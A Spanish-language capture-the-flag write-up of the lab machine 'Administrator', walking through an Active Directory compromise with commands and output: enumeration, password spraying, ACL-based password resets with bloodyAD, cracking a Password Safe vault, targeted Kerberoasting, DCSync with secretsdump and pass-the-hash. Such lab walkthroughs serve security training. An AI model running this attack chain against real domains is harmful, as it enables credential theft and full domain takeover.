Administrator

Publicado: 30 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium OS: Windows

📝 Descripción

Administrator es una máquina Windows de dificultad media que simula un entorno corporativo con Active Directory. La máquina presenta un escenario realista donde comenzamos con credenciales válidas de un usuario de dominio y debemos explotar relaciones de confianza, permisos especiales y configuraciones débiles para escalar privilegios hasta obtener acceso como Administrador del dominio.

El escenario involucra técnicas comunes de post-explotación en entornos AD como enumeración de usuarios, análisis de ACLs (Access Control Lists), movimiento lateral a través de cambios de contraseña, cracking de bases de datos de contraseñas, ataques de Kerberoasting dirigidos y finalmente un ataque DCSync para obtener los hashes del dominio.


🎯 Puntos Clave

  • Credenciales iniciales: olivia:ichliebedich

  • Vector de ataque: Explotación de permisos GenericAll/GenericWrite en Active Directory

  • Movimiento lateral: Cambios de contraseña mediante ACLs privilegiadas

  • Escalada de privilegios: DCSync attack para obtener hash del Administrator

  • Herramientas clave: BloodHound, netexec, bloodyAD, targetedKerberoast, impacket


🔍 Información de la Máquina

Aspecto

Detalle

IP

10.10.11.42

Dominio

administrator.htb

Controlador de Dominio

DC

Sistema Operativo

Windows Server 2022 Build 20348

Servicios Principales

FTP, DNS, Kerberos, LDAP, SMB, WinRM


🔭 Reconocimiento

🏓 Ping para verificación en base a TTL

❯ ping -c2 10.10.11.42          
PING 10.10.11.42 (10.10.11.42) 56(84) bytes of data.
64 bytes from 10.10.11.42: icmp_seq=1 ttl=127 time=50.0 ms
64 bytes from 10.10.11.42: icmp_seq=2 ttl=127 time=45.9 ms

--- 10.10.11.42 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 45.944/47.985/50.027/2.041 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.100 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports                                          
21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,62494,64634,64639,64642,64659

🔍 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.11.42 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-30 19:54 CEST
Nmap scan report for 10.10.11.42
Host is up (0.042s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-01 00:54:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
62494/tcp open  msrpc         Microsoft Windows RPC
64634/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
64639/tcp open  msrpc         Microsoft Windows RPC
64642/tcp open  msrpc         Microsoft Windows RPC
64659/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-01T00:54:58
|_  start_date: N/A

⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:

echo "10.10.11.42 administrator.htb" | sudo tee -a /etc/hosts

📋 Análisis de Servicios Detectados

Puerto

Servicio

Uso en el Ataque

21

FTP

Acceso a archivos de backup con credenciales de Benjamin

53

DNS

Resolución de nombres del dominio

88

Kerberos

Autenticación y ataques de Kerberoasting

389/3268

LDAP

Enumeración de usuarios y objetos del AD

445

SMB

Enumeración de recursos compartidos y usuarios

5985

WinRM

Acceso remoto con credenciales válidas

🔑 Credenciales Iniciales

Como es común en las pruebas de penetración de Windows de la vida real, iniciará el cuadro de Administrador con las credenciales de la siguiente cuenta:

  • Nombre de usuario: Olivia

  • Contraseña: ichliebedich


🌐 Enumeración de Servicios

🗂️ 445 SMB - Enumeración Inicial

Ya que disponemos de credenciales, comenzamos tratando de enumerar recursos compartidos, usuarios etc:

netexec smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich' --shares 
netexec smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich' --users 

👥 Enumeración de Usuarios del Dominio

Creamos una lista con los usuarios obtenidos:

netexec smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt    

🎫 Verificación AS-Rep Roast

Verificamos si de los usuarios obtenidos hay alguno que tenga la pre-autenticación de kerberos deshabilitada y podamos obtener un ticket:

impacket-GetNPUsers -dc-ip 10.10.11.42 administrator.htb/ -usersfile Users.txt -format hashcat  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User olivia doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User michael doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User benjamin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User emily doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ethan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

Resultado: Ningún usuario vulnerable a AS-Rep Roast

🎯 Verificación Kerberoasting

Con la credencial de la que disponemos verificamos si hay alguna cuenta sobre la que podamos realizar un ataque de kerberoasting:

impacket-GetUserSPNs administrator.htb/Olivia:'ichliebedich' -dc-ip administrator.htb -request 
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

No entries found!

Resultado: No se encontraron SPNs para Kerberoasting convencional

💧 Password Spraying

Verificamos si la contraseña de Olivia está siendo reutilizada por algún otro usuario del dominio:

netexec smb 10.10.11.42 -u Users.txt -p 'ichliebedich' --continue-on-success
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.42     445    DC               [-] administrator.htb\Administrator:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\Guest:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\krbtgt:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\DC$:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [+] administrator.htb\olivia:ichliebedich 
SMB         10.10.11.42     445    DC               [-] administrator.htb\michael:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\benjamin:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\emily:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\ethan:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\alexander:ichliebedich STATUS_LOGON_FAILURE 
SMB         10.10.11.42     445    DC               [-] administrator.htb\emma:ichliebedich STATUS_LOGON_FAILURE 
netexec winrm 10.10.11.42 -u Users.txt -p 'ichliebedich' --continue-on-success

Resultado: Solo Olivia usa esta contraseña, pero pertenece al grupo Remote Management


🔓 Acceso Inicial

💻 Conexión WinRM como Olivia

evil-winrm -i 10.10.11.42 -u Olivia -p 'ichliebedich'     
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\olivia\Documents> whoami
administrator\olivia
*Evil-WinRM* PS C:\Users\olivia\Documents> 

🏠 Enumeración de Usuarios Locales

*Evil-WinRM* PS C:\Users> dir

    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/22/2024  11:46 AM                Administrator
d-----        10/30/2024   2:25 PM                emily
d-----         6/30/2025   6:10 PM                olivia
d-r---         10/4/2024  10:08 AM                Public

🩸 Análisis con BloodHound

📊 Recolección de Datos del Dominio

bloodhound-python -u 'Olivia' -p 'ichliebedich' -d administrator.htb -c All --zip -ns 10.10.11.42 

🎯 Identificación de Permisos Especiales

Tras cargar los resultados, observo que Olivia tiene control total (GenericAll) sobre el usuario Michael:


🔄 Movimiento Lateral - Fase 1

👤 Olivia → Michael (GenericAll)

Usamos bloodyAD para cambiar la contraseña de Michael usando las credenciales de Olivia:

bloodyAD -u 'Olivia' -p 'ichliebedich' -d administrator.htb --dc-ip 10.10.11.42 set password Michael 'Password123!'

✅ Verificación de Acceso como Michael

netexec winrm 10.10.11.42 -u Michael -p 'Password123!' 
evil-winrm -i 10.10.11.42 -u Michael -p 'Password123!' 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\michael\Documents> whoami
administrator\michael

🔄 Movimiento Lateral - Fase 2

👤 Michael → Benjamin (ForceChangePassword)

Volvemos a BloodHound para marcar Michael como Owned y descubrimos que Michael puede cambiar la contraseña del usuario Benjamin:

bloodyAD -u 'Michael' -p 'Password123!' -d administrator.htb --dc-ip 10.10.11.42 set password Benjamin 'Password123!'

🚫 Limitaciones de Acceso de Benjamin

Benjamin no puede acceder vía WinRM ni tiene recursos interesantes en SMB:


📁 Descubrimiento de Archivos Críticos

📂 Acceso FTP como Benjamin

Sin embargo, Benjamin puede acceder al servicio FTP y encontramos un archivo crucial:

ftp benjamin@10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||64872|)
125 Data connection already open; Transfer starting.
10-05-24  09:13AM                  952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||64874|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************************************************|   952       17.30 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (16.96 KiB/s)
ftp> 

🔐 Análisis del Archivo Password Safe

file Backup.psafe3                            
Backup.psafe3: Password Safe V3 database

🔨 Cracking de Password Safe

⚡ Ataque de Fuerza Bruta con Hashcat

hashcat -m 5200 trilocor_svc_vault.psafe3 /usr/share/wordlists/rockyou.txt

🗝️ Extracción de Credenciales

Usamos pwsafe para Linux para abrir el vault con la contraseña obtenida:

📋 Credencial Descubierta

De los usuarios encontrados en el vault, identificamos que Emily era uno de los usuarios enumerados previamente:

Credencial obtenida: emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb


🔄 Movimiento Lateral - Fase 3

👤 Acceso como Emily

evil-winrm -i 10.10.11.42 -u Emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> whoami
administrator\emily

🚩 Primera Flag Obtenida

*Evil-WinRM* PS C:\Users\emily\Desktop> dir

    Directory: C:\Users\emily\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/30/2024   2:23 PM           2308 Microsoft Edge.lnk
-ar---         6/30/2025   5:51 PM             34 user.txt

🚀 Escalada de Privilegios

🔍 Análisis de Permisos de Emily en BloodHound

Después de enumerar sin encontrar vías tradicionales de escalada, revisamos los ACLs de Emily en BloodHound:

✍️ Explotación de GenericWrite

Emily tiene permisos GenericWrite sobre Ethan, lo que nos permite realizar un Targeted Kerberoasting Attack.

🎯 Targeted Kerberoasting Attack

Usamos targetedKerberoast para crear un SPN falso y obtener un TGS de Ethan:

sudo ntpdate 10.10.11.42 && python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'Emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

⚠️ Importante: Sincronizar relojes con ntpdate para evitar errores de Kerberos KRB_AP_ERR_SKEW

sudo ntpdate 10.10.11.42 && python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'Emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
2025-07-01 04:03:57.957477 (+0200) +25200.298271 +/- 0.059382 10.10.11.42 s1 no-leap
CLOCK: time stepped by 25200.298271
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$9e6069b8d1319b6367c235251ddd63c7$1478a96fd56fa4a7b9ad159a65da1515c880618ed9fae5eb7f25b98f6cf4e674a81371951b524979046db988f0fd7ea474abdbe19efca081baa2551d5da66e01615be75d560c867efcb24c3d0b688e106039ab32324f7c444dfd6bcdf72ce3e1a87241175a5c29ccd3a6d823d5814f960cfa6aa36915f32d32164e09a6b227dad89e053178971bfa4d41cab5aa6806717732b388389c1dd8f3dee638af12d17cda4d7644c9b65b65580e5fc3db0a48bbc2db9ac8040ffc84cebf53549ee7c43045fa6565aa3e99d75a062d8e0caa368c5b5002301ba04674db6df8145242fd07bfe795ec7539c2a21ec639d82f5910980784e082beae2311af6a650604e2775b02d0d9fdcc859c8c137d34210909896462827362f1dccadac77a5679270b0f446c2faff4af6b687aa8506b96f90c32163c22bb0833ce94020178fbf9dc60ed8723ebc2ae63199d7e7001c87ae839c4802f9ef6c6e57470ded8c3d2380bc1814c8971bc0fbe08cddba24fb48dc9ef49591a52b739dda0de9471b04322634ed5cb1c89104131c28f0f93cdda959bfc876d220f12c0e55540704d57550e3f7f2cac2e6fcb04403f555230c9e340459bbc1ae0f70b19da09fd296d074448d74a857069e2f13ee46e1d1b373a5b75cb66ca7949e08c5288780d251ec361609b21896cb85b93b7a527b3297db8d80de6221cf91e65f7cc56c871949223d008d9948ed7d7835dc73aeb7a20b150cc608f80f29499c010a56481804f225f518f45b47b071cf9214d1f72689d4bbeca43c15a917c8738f4edcc63acf3caae002e6762e5517b1aeac6d6c65f5280d53894eca95b2a534fbb45aa26241280e53eebf74c5a556df3a3b7e0b8d1c6e08feb5f96364105f5ae464bcf3431e169de2f32b518a286f8b23b669d9873ce0e76a4f35a94be210e53ccfe2b306c23cf87d7b12f5f5c43127e5f924cd5ad44596025f75c7cee6377304a282a9c10b997c0002deda102351fd94a6afe854bc73d03c83bc41a8d4ed9feb1bfa40431ba4d1f75cd14a5efbff4a05798fb6849ea813b26871de9f6b0bab3199e689aeaf73575a96d8676edfd16e65f2621d4c8814db3e07b89cf208da8537567b90652311a464c07564345b13a0c330b55fcedbe1bbba56af02a3427880d10e5a480b5c19d9d067452ce23df748755da3a9bb03e187f609aa6d88202317d9f25181683e91961828dcb6c56f68ab097a9566b9ccf38f856be678eed1640a02243e7cfae6ea3c1c73337e240d70bc66d8e8acf84af76f53deb4055cbc1c02bfd8d6ff93c9f53cb871a23df5d01b0aab7e0fe6e7b8278868cf4b46ed3262e0dfcf2671c8ba74c2ad1afc8363200393d496a0bbc953ee6a9a649b0b0c18fc149aa9088fc9a52657815d2bf55efddd98925dec6b0af4251d078f608c8766d527c0c05c8fd1145432f572beaeb38123bc5e4c24ddbaaf0f1208c73cf33c1859b3edd6e6a31121bb7abb70075501b24a7f820597b59e86d6e53d3934c2fd28b79250fd1e65bd97750a2ce872e67b6
[VERBOSE] SPN removed successfully for (ethan)

🔓 Cracking del Ticket TGS

hashcat -m 13100 -a 0 ethan_ticket /usr/share/wordlists/rockyou.txt

Credencial obtenida: ethan:limpbizkit


👑 Compromiso Total del Dominio

🔍 Análisis de Permisos de Ethan

Con Ethan comprometido, analizamos sus permisos en BloodHound:

🎯 Permisos DCSync Identificados

Ethan posee los siguientes permisos críticos:

  • GetChangesInFilteredSet

  • GetChangesAll

  • GetChangesAll

Estos permisos permiten realizar un DCSync Attack para obtener todos los hashes del dominio.

💎 Ejecución del DCSync Attack

impacket-secretsdump ethan@10.10.11.42 -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:<REDACTED>
Administrator:aes128-cts-hmac-sha1-96:<REDACTED>
Administrator:des-cbc-md5:403286f7cdf18385
[*] Cleaning up... 

🏆 Acceso como Administrator

Finalmente usamos evil-winrm para realizar pass-the-hash y obtener acceso como Administrator:

evil-winrm -i 10.10.11.42 -u Administrator -H '<REDACTED>'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
administrator\administrator
*Evil-WinRM* PS C:\Users\Administrator\

Last updated